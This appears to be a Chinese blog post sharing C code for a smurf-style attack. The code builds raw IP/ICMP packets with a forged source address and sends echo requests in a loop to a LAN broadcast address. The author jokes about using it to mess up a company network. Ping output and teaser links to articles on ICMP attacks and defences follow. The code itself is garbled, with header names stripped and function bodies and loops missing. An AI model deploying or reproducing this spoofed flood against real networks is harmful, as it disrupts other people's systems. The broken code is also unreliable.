由於本人很菜,這個**是改別人的.呵呵.可以在公司的區域網裡搞搞壞,呵呵.
我是在ubuntu8.04下的,需要gcc編譯.
修改了一些,加添了廣播,可發給255,我感覺會把區域網弄亂的 呵呵.
#include
#include
#include
#include
#include
#include
#include
unsigned short csum(unsigned short *packet, int packlen);
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen);
unsigned short in_cksum(unsigned short *addr, int len);
//校驗和涵數 ip頭
unsigned short csum(unsigned short *packet, int packlen)
if (packlen > 0)
sum += *(unsigned char *) packet;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (unsigned short) ~sum;
}//校驗和涵數 tcp頭
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen)
//校驗和涵數icmp頭
unsigned short in_cksum(unsigned short *addr, int len)
if (len == 1)
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
res = ~sum;
return res;
}int main(int argc, char *argv) else
//ip_hdrincl 在資料報中包含ip首部 int 這個選項常用於黑客技術中,隱藏自己的ip位址
if (setsockopt(sock, ipproto_ip, ip_hdrincl, &pktsize, sizeof(pktsize)) < 0)
const int on = 1;//設定常量,用於開啟廣播模式
//設定該介面上的廣播模式
if (setsockopt(sock, sol_socket, so_broadcast, &on, sizeof(on)) < 0)
printf("create iphead\r\n");
iphead->ip_v = 4;
iphead->ip_hl = 5;
iphead->ip_tos = 0x00;
iphead->ip_len = htons(pktsize);
iphead->ip_id = htons(getpid());
iphead->ip_off = 0;
iphead->ip_ttl = 0x0;
iphead->ip_p = ipproto_icmp;
iphead->ip_sum = 0;
inet_aton("192.168.0.182", &iphead->ip_src);//假冒的ip
inet_aton("192.168.0.255", &iphead->ip_dst);//被攻擊者的ip
printf("create icmphead\r\n");
icmphead->icmp_type = icmp_echo;
icmphead->icmp_code = 0;
icmphead->icmp_cksum = htons(~(icmp_echo << 8));
iphead->ip_sum = csum(iphead, sizeof(struct ip));
icmphead->icmp_cksum = in_cksum(icmphead, sizeof(struct icmp));
printf("start send\r\n");
int j;
int i = 1;
while (i > 0)
free(packet);
printf("end send\r\n");
return 0;}/*
*如果我們往廣播位址傳送乙個icmp echo報文(就是ping廣播位址一下),結果會得到非常多的回應,
*如果我們往廣播位址傳送乙個icmp 乙太網內每乙個允許接收廣播報文的主機都會回應乙個icmp_echoreply,
*如果我們往廣播位址傳送乙個icmp 如果你想試驗,可以在unix的機器上ping一下你區域網的廣播位址,
*如果我們往廣播位址傳送乙個icmp 會看到很多回應的的dup包,就是重複的應答
*root@test5:/home/malitest/mysockettest# ping 192.168.0.255 -b
warning: pinging broadcast address
ping 192.168.0.255 (192.168.0.255) 56(84) bytes of data.
64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.262 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.13 ms (dup!)
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.17 ms (dup!)
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.183 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.200 ms (dup!)
64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.242 ms (dup!)
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.163 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.178 ms (dup!)
64 bytes from 192.168.0.4: icmp_seq=3 ttl=64 time=0.198 ms (dup!)
** windows系統上不會有這樣的結果,因為微軟的ping程式不對多個回應進行解包(所以我收不到重複的包了),收到第乙個包以後就丟棄後面的了,
* 同樣微軟的系統預設也不回應廣播位址的包
** windows防火牆 高階——>本地連線——>設定——>icmp
* */
如何防止基於ICMP的網路攻擊
許多網路攻擊都基於icmp協議。在下面這篇文章裡,我們將首先介紹icmp協議,然後 常見的基於icmp的網路攻擊,最後分析防火牆怎樣才能夠防止和減輕這種攻擊所造成的危害。icmp internet控制訊息協議,internet control message protocol 協議用來給ip協議提供...
ICMP 重定向攻擊和ICMP不可達報文攻擊
最近一直在研究各種畸形報文和一些特殊的報文,並且需要根據這些攻擊特點進行相應的資料報偵測與攔截。一切其他的攻擊以後有時間再來寫吧。當我研究到了icmp重定向和不可達報文攻擊的時候,覺得很有趣,icmp協議在我們網路中經常存在於ping 中,用於測試兩台主機之間的網路連通性,以前也聽說過這兩種形態的攻...
Linux網路程式設計 ICMP洪水攻擊
一 icmp洪水攻擊的原理 icmp flood 是一種在ping基礎上形成的,但是用ping程式很少能造成目標機宕機的問題,這裡邊最大的問題是提高處理的速度,icmp洪水攻擊主要有以下3種方式。1 直接洪水攻擊 這樣做需要本地主機的頻寬與目標主機之間頻寬進行比拼,可以採用多執行緒的方法一次性得傳送...